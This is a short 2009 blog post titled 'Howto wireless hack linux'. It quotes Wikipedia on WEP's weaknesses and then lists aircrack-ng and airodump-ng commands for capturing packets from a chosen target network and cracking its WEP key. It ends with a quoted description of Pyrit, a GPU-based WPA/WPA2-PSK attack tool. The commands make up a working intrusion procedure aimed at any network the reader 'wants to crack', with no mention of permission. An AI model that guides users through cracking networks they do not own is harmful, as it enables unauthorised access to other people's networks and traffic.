Saturday, March 7, 2009

Howto wireless hack linux

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WEP was intended to provide comparable confidentiality to a traditional wired network (in particular it does not protect users of the network from each other), hence the name. Several serious weaknesses were identified by cryptanalysts — any WEP key can be cracked with readily available software in two minutes or less — and WEP was superseded by Wi-Fi Protected Access (WPA) in 2003, and then by the full IEEE 802.11i standard (also known as WPA2) in 2004. Despite the weaknesses, WEP provides a level of security that can deter casual snooping. Wikipedia

It’s fairly easy to crack a WEP encrypted Wireless network. Infact the WEP encryption has some serious flaws in its design, flaws that make it easy and fast to crack or hack.

Install aircrack-ng - on Debian Etch by:

sudo apt-get install aircrack-ng

Then start aircrack-ng to look for wireless networks:

sudo airodump-ng eth1

Then notice the channel number of the wireless network you want to crack.

Quit aircrack-ng and start it again with med specific channel number to collect packages faster:

sudo airodump-ng -c 4 -w dump eth1

Then wait and let it collect about 500K IVS and the try the do the actual crack:

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.

A new project called Pyrit is currently under it’s way. “Pyrit takes a step ahead in attacking WPA-PSK and WPA2-PSK, the protocol that today de-facto protects public WIFI-airspace. The project’s goal is to estimate the real-world security provided by these protocols. Pyrit does not provide binary files or wordlists and does not encourage anyone to participate or engage in any harmful activity. This is a research project, not a cracking tool.

Pyrit’s implementation allows to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time-tradeoff. The performance gain for real-world-attacks is in the range of three orders of magnitude which urges for re-consideration of the protocol’s security. Exploiting the computational power of GPUs, this is currently by far the most powerful attack against one of the world’s most used security-protocols.”

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